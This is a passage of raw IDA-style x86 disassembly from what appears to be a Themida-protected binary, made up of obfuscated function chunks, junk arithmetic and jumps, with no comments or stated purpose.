		sub	ebx, 4
		xchg	ebx, [esp+0]
		jmp	loc_56661F
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_565D4E:				; CODE XREF: sub_568E5C+6B48j
		pop	ebp
		inc	ecx
		xor	ecx, 284068E3h
		add	eax, 40DC6BB8h
		jmp	loc_5679F8
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565A8D


loc_565D60:				; CODE XREF: sub_565A8D+3F4Fj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], eax
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	edx, 593A7F7Ch
		sub	edx, 593A7F78h
		mov	eax, edx
		jmp	loc_56CF72
; END OF FUNCTION CHUNK	FOR sub_565A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_565D8B:				; CODE XREF: sub_561418+13E8Ej
		push	79397B88h
		mov	ebx, [esp+1Ch+var_1C]
		add	esp, 4
		push	643Ch
		jmp	loc_56BBAB
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573167


loc_565DA0:				; CODE XREF: sub_573167-A148j
		mov	[esp+8+var_8], edx
		push	ecx
		push	63997B84h
		jmp	loc_5735F9
; END OF FUNCTION CHUNK	FOR sub_573167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_565DAE:				; CODE XREF: sub_574949-120FAj
		xor	eax, esi
		xor	esi, eax
		jmp	loc_56DD5F
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567F6F


loc_565DB7:				; CODE XREF: sub_567F6F+4j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_567F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_565DBC:				; CODE XREF: sub_560CF1+F654j
		xor	eax, ecx
		push	eax
		sub	esp, 4
		mov	[esp+8+var_8], edi
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		jmp	loc_56619E
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574896


loc_565DD1:				; CODE XREF: sub_574896-2489j
		mov	[esp-4+arg_0], eax
		mov	eax, esp
		jmp	loc_567258
; END OF FUNCTION CHUNK	FOR sub_574896
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_565DDB:				; CODE XREF: sub_5620B7+F0Aj
		add	bh, cl
		mov	ecx, [esp+4+var_6+2]
		add	esp, 4
		neg	bh
		push	ecx
		push	edx
		push	2597h
		mov	[esp+0], eax
		mov	al, 67h
		and	al, 6Bh
		jmp	loc_5710FC
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_565DF8:				; CODE XREF: sub_5678CB+71D5j
		mov	esp, [esp+8+var_A+2]
		mov	[esp+8+var_A+2], eax
		jmp	loc_5685EC
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD97


loc_565E03:				; CODE XREF: sub_56FD97-20A9j
		or	ebp, 42363D24h
		sub	esp, 4
		jmp	loc_56089C
; ---------------------------------------------------------------------------


loc_565E14:				; CODE XREF: sub_56FD97-D368j
		push	[esp+8+var_8]
		pop	esi
		add	esp, 4
		sub	eax, 6A83100Fh
		jmp	loc_56DCDA
; END OF FUNCTION CHUNK	FOR sub_56FD97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_565E25:				; CODE XREF: sub_569FB8+21D7j
		push	ecx
		mov	ecx, esp
		jmp	loc_575160
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_565E2D:				; CODE XREF: sub_563A7F+1104j
		push	edx
		mov	dh, 0D8h
		mov	bh, dh
		pop	edx
		jmp	loc_573CA3
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_565E38:				; CODE XREF: sub_56FB8A+6j
		add	eax, ebp
		pop	ebp
		add	eax, 292A3717h
		sub	eax, 2F911C0Dh
		pop	ebp
		sub	esp, 4
		mov	[esp+0], ebx
		push	esi
		mov	esi, 4DB5145Dh
		push	edx
		mov	edx, 76A4B0Ah
		and	edx, 5121395Ah
		inc	edx
		jmp	loc_56899F
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_565E64:				; CODE XREF: sub_563A7F+11224j
		mov	ebx, esp
		push	ebp
		mov	ebp, 0B070C6Dh
		jmp	loc_56DFD3
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56306E


loc_565E71:				; CODE XREF: sub_56306E+59A9j
		add	ecx, 1025252h
		pop	eax
		jmp	sub_56959A
; END OF FUNCTION CHUNK	FOR sub_56306E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_565E7D:				; CODE XREF: sub_5690E8+A25Cj
		inc	ebx
		jmp	loc_5664ED
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5606E3


loc_565E83:				; CODE XREF: sub_5606E3+8D7Fj
		add	esi, eax
		sub	esi, 1FAF11D8h
		pop	eax
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		push	28DCh
		mov	[esp+0], esi
		jmp	loc_5642D5
; END OF FUNCTION CHUNK	FOR sub_5606E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_565EA5:				; CODE XREF: sub_571088+13D5j
		add	esp, 4
		not	bl
		inc	bl
		inc	bl
		sub	bl, 0AAh
		jmp	loc_56423D
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_565EB9:				; CODE XREF: sub_5638E4+106Aj
		sub	edi, 34463780h
		shl	edi, 6
		neg	edi
		xor	edi, 0E74DD656h
		jmp	loc_575404
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_565ECF:				; CODE XREF: sub_571088+3BDAj
		mov	bl, 8Ah
		sub	bl, 1
		sub	bl, 0F7h
		push	ecx
		push	eax
		mov	al, 55h
		mov	cl, al
		pop	eax
		dec	cl
		jmp	loc_560446
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_565EE5:				; CODE XREF: sub_56E126+292Aj
		pop	edi
		jmp	loc_56F761
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------


loc_565EEB:				; CODE XREF: Themida_:00569C2Aj
		add	dword ptr [esp+4], 3BF8619Dh
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 3BF8619Dh
		pop	ecx
		sub	dword ptr [esp], 606B569Eh
		jmp	loc_56BA1D
; ---------------------------------------------------------------------------


loc_565F0C:				; CODE XREF: Themida_:00561699j
		push	650Bh
		jmp	loc_5666BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_565F16:				; CODE XREF: sub_5687A3+7503j
		mov	ecx, 3962AD3h
		push	eax
		mov	eax, 46F505A5h
		dec	eax
		xor	eax, 696B051Bh
		jmp	loc_566F96
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570FB7


loc_565F2C:				; CODE XREF: sub_570FB7+15j
		and	eax, ebx
		mov	ebx, [esp+8+var_8]
		push	edi
		jmp	loc_57369F
; END OF FUNCTION CHUNK	FOR sub_570FB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C7AA


loc_565F37:				; CODE XREF: sub_56C7AA+6A33j
		mov	ebx, 39E64095h
		add	esi, 462F25BEh
		sub	esi, ebx
		sub	esi, 462F25BEh
		jmp	loc_56ACFD
; END OF FUNCTION CHUNK	FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5692D3


loc_565F4F:				; CODE XREF: sub_5692D3+907Aj
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_572552
; END OF FUNCTION CHUNK	FOR sub_5692D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CF5


loc_565F5A:				; CODE XREF: sub_567CF5+2771j
		pop	ecx
		push	eax
		mov	eax, 7C33CBFh
		jmp	loc_56E6B3
; END OF FUNCTION CHUNK	FOR sub_567CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5750DE


loc_565F66:				; CODE XREF: sub_5750DE-D10j
		mov	eax, esp
		push	ecx
		push	edx
		jmp	loc_56DCA2
; END OF FUNCTION CHUNK	FOR sub_5750DE
; ---------------------------------------------------------------------------


loc_565F6F:				; CODE XREF: Themida_:0056C107j
		pop	ebx
		push	ebp
		push	edx
		mov	edx, 4
		mov	ebp, edx
		mov	edx, [esp]
		push	ebx
		jmp	loc_56CDCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569E1B


loc_565F82:				; CODE XREF: sub_569E1B-969Ej
		mov	[esp+0], cx
		sub	esp, 4
		mov	[esp+2+var_4+2], edx
		mov	dl, 0C8h
		mov	cl, dl
		mov	edx, [esp+2+var_4+2]
		jmp	loc_56BD1A
; END OF FUNCTION CHUNK	FOR sub_569E1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_565F98:				; CODE XREF: sub_572DD7-6DCEj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		push	78F2h
		mov	[esp+8+var_8], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edx
		mov	edx, 18725E8Bh
		jmp	loc_571FD7
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E1B8


loc_565FCB:				; CODE XREF: sub_56E1B8+1503j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56E1B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574287


loc_565FD0:				; CODE XREF: sub_574287-20D1j
		xor	edi, 30B4489Bh
		push	eax
		mov	eax, edi
		mov	esi, eax
		pop	eax
		push	[esp+8+var_8]
		pop	edi
		add	esp, 4
		add	ebp, 209F124Eh
		add	ebp, esi
		push	24FCh
		mov	[esp+8+var_8], edx
		mov	edx, 209F124Eh
		sub	ebp, edx
		jmp	loc_569AFE
; END OF FUNCTION CHUNK	FOR sub_574287
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_566002:				; CODE XREF: sub_56B06D-48B6j
		add	ecx, ebx
		pop	ebx
		push	eax
		push	esi
		mov	esi, 16D738E1h
		xor	esi, 16D738E5h
		mov	eax, esi
		jmp	loc_56B006
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567C58


loc_566019:				; CODE XREF: sub_567C58+4012j
		xor	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		shr	byte ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_56AC89
; END OF FUNCTION CHUNK	FOR sub_567C58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CF5


loc_566028:				; CODE XREF: sub_567CF5+317j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		jmp	loc_56CD22
; END OF FUNCTION CHUNK	FOR sub_567CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5606E3


loc_56603F:				; CODE XREF: sub_5606E3-1B2j
		mov	eax, ebp
		jmp	loc_56945B
; END OF FUNCTION CHUNK	FOR sub_5606E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_566046:				; CODE XREF: sub_574656-76B4j
		mov	ebp, esi
		pop	esi
		push	edi
		mov	edi, 4C0C7128h
		xor	ebp, edi
		pop	edi
		sub	ebx, ebp
		jmp	loc_569731
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_566059:				; CODE XREF: sub_56AB5E+7663j
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_5618C2
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5683C0


loc_566064:				; CODE XREF: sub_5683C0-57D5j
		pop	esi
		sub	edx, 66C66354h
		sub	edx, 12302F5Ah
		sub	edx, ebx
		jmp	loc_566451
; END OF FUNCTION CHUNK	FOR sub_5683C0

; =============== S U B	R O U T	I N E =======================================



sub_566078	proc near		; CODE XREF: sub_572669-10B19j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005653F6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005655F1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005662E9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00566E65 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00567310 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056880E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568AF0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568F21 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00573801 SIZE 0000000C BYTES

		push	ebp
		mov	ebp, 5F4A4615h
		sub	edx, ebp
		pop	ebp
		sub	edx, edi
		add	edx, 5F4A4615h
		pop	edi
		add	edx, ecx
		add	edx, 58D47706h
		pop	ecx
		sub	esp, 4
		mov	[esp-4+arg_0], edi
		mov	edi, 1
		add	edx, edi
		mov	edi, [esp-4+arg_0]
		sub	esp, 4
		mov	[esp+0], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		jmp	loc_566E65
sub_566078	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_5660C1:				; CODE XREF: sub_566117+3009j
		xor	ecx, 24615900h
		not	ecx
		push	ecx
		not	[esp+14h+var_14]
		pop	ecx
		add	ecx, 94B5EA37h
		jmp	loc_566D6C
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_5660D9:				; CODE XREF: sub_56AB5E-72EEj
		add	bh, 54h
		jmp	loc_56AB85
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573B49


loc_5660E1:				; CODE XREF: sub_573B49+6j
		shl	ebx, 1
		xor	ebx, 0B956862h
		add	ebx, 238F4CDCh
		inc	ebx
		push	edi
		mov	edi, 9C6D6481h
		xor	ebx, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		sub	eax, 7A4F3D81h
		add	eax, ebx
		add	eax, 7A4F3D81h
		pop	ebx
		add	eax, ebx
		sub	eax, 291255EEh
		jmp	loc_56B984
; END OF FUNCTION CHUNK	FOR sub_573B49

; =============== S U B	R O U T	I N E =======================================



sub_566117	proc near		; DATA XREF: Themida_:0055FD20o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005613B0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005614B6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00563667 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005660C1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00566A74 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00566D6C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056745A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00568146 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569112 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569BC4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056CD05 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056D9C3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DD34 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056DD94 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056EE8F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00572650 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005729A1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00572E55 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00573EAD SIZE 00000009 BYTES

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		jmp	loc_56DD94
sub_566117	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_566125:				; CODE XREF: sub_5673C3+9F32j
		push	ecx
		mov	ecx, 0
		add	ecx, 0D6724F1h
		sub	ecx, ebx
		push	ebx
		mov	ebx, 0D6724F1h
		jmp	loc_5724C3
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0B0


loc_56613E:				; CODE XREF: sub_56E0B0+16j
		mov	eax, esp
		push	esi
		mov	esi, 788D7C22h
		sub	esi, 788D7C1Eh
		jmp	loc_5605B4
; END OF FUNCTION CHUNK	FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_566151:				; CODE XREF: sub_5620B7+9CC4j
		inc	dh
		shr	dh, 4
		shr	dh, 4
		xor	dh, 0F2h
		or	ah, dh
		pop	edx
		add	ah, 0B5h
		add	ah, 55h
		mov	dl, ah
		pop	eax
		jmp	loc_570955
; END OF FUNCTION CHUNK	FOR sub_5620B7

; =============== S U B	R O U T	I N E =======================================



sub_56616D	proc near		; CODE XREF: sub_565A8D+7024j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 00561298 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00561E3D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00562212 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005627B8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00562B49 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00563030 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056361A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056394B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00564C1F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00565787 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005659B8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00566627 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00567A8B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056906B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005693C4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00569587 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569BCA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00569D82 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056A0D6 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056A223 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056AA15 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056AC4B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056ADA2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056AEFF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056AF32 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B048 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056B7BA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056BB98 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056C5F8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056D202 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056D2BF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056E2A6 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0056E30A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056E7AA SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056E87B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056EADA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056F823 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056F9B5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00570135 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00570869 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00570B9F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00571003 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005712C3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00572044 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00572152 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00572426 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0057347C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00573607 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573B2F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00573CAF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00573D0E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00574315 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0057455E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0057474B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057485E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005748A1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00574AFF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057504A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057524C SIZE 00000015 BYTES

		push	ebx
		mov	ebx, offset loc_426680
		neg	ebx
		xor	ebx, 48693036h
		jmp	loc_56AF32
sub_56616D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_566180:				; CODE XREF: sub_56DA43-89E5j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+4+var_4]
		jmp	loc_5688E7
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_566196:				; CODE XREF: sub_56FA15-F69Bj
		sub	cl, dh
		pop	edx
		jmp	loc_5725E9
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_56619E:				; CODE XREF: sub_560CF1+50DBj
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	edi
		push	ecx
		jmp	loc_57478C
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_5661AE:				; CODE XREF: sub_568764-5j
		mov	esp, [esp+0Ch+var_C]
		push	esi
		push	edx
		push	78280F07h
		pop	edx
		shr	edx, 7
		add	edx, 13A64CF8h
		add	edx, 0EB6962EEh
		mov	esi, edx
		pop	edx
		sub	ecx, 1D8606A8h
		add	ecx, esi
		push	3A08h
		mov	[esp+8+var_8], edx
		mov	edx, 6A6A0475h
		dec	edx
		jmp	loc_5739F1
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_5661E6:				; CODE XREF: sub_56B06D+A12Bj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+18h+var_18]
		pop	esp
		push	ecx
		mov	ecx, esp
		push	ebx
		push	ebp
		mov	ebp, 486432AAh
		jmp	loc_56F39E
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_566202:				; CODE XREF: sub_56241E+11848j
		add	ax, 1
		dec	ax
		push	1464h
		mov	[esp+0Ch+var_C], esi
		mov	si, 60E3h
		not	si
		neg	si
		xor	si, 731Ch
		or	ax, si
		pop	esi
		add	ax, 1
		jmp	loc_573A41
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56622C:				; CODE XREF: sub_561418+422Ej
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+1Ch+var_1C]
		pop	esp
		jmp	loc_561E6C
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_566244:				; CODE XREF: sub_566400+378Ej
		mov	ebp, [esp+4+var_4]
		jmp	loc_566A65
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747AF


loc_56624C:				; CODE XREF: sub_5747AF-3DA7j
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		push	eax
		jmp	sub_5606E3
; END OF FUNCTION CHUNK	FOR sub_5747AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_56625B:				; CODE XREF: sub_571F6F-10C6j
		xor	ch, 77h
		or	dh, ch
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_56DC53
; END OF FUNCTION CHUNK	FOR sub_571F6F

; =============== S U B	R O U T	I N E =======================================



sub_56626B	proc near		; CODE XREF: sub_564746+B363j

; FUNCTION CHUNK AT 00564A3F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056E554 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FE37 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057243D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573561 SIZE 00000008 BYTES

		push	ebx
		jmp	loc_564A3F
sub_56626B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573876


loc_566271:				; CODE XREF: sub_573876-F235j
		add	[edi+40h], ecx
		pop	ecx
		push	dword ptr [esp+0]
		pop	eax
		push	70A0h
		mov	[esp+4+var_4], ecx
		push	esp
		push	[esp+8+var_8]
		pop	ecx
		jmp	loc_570938
; END OF FUNCTION CHUNK	FOR sub_573876

; =============== S U B	R O U T	I N E =======================================



sub_56628B	proc near		; DATA XREF: Themida_:0055FD1Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056005C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056133D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005619FF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00562816 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00562B97 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005637D3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564761 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00566372 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005676D9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00567D66 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00567D8C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00567F5F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005685D8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569742 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A8F8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056C06F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056C1FD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056CB76 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056D46F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056E341 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FD0F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005702CE SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00571221 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0057173D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0057225D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573C9D SIZE 00000006 BYTES
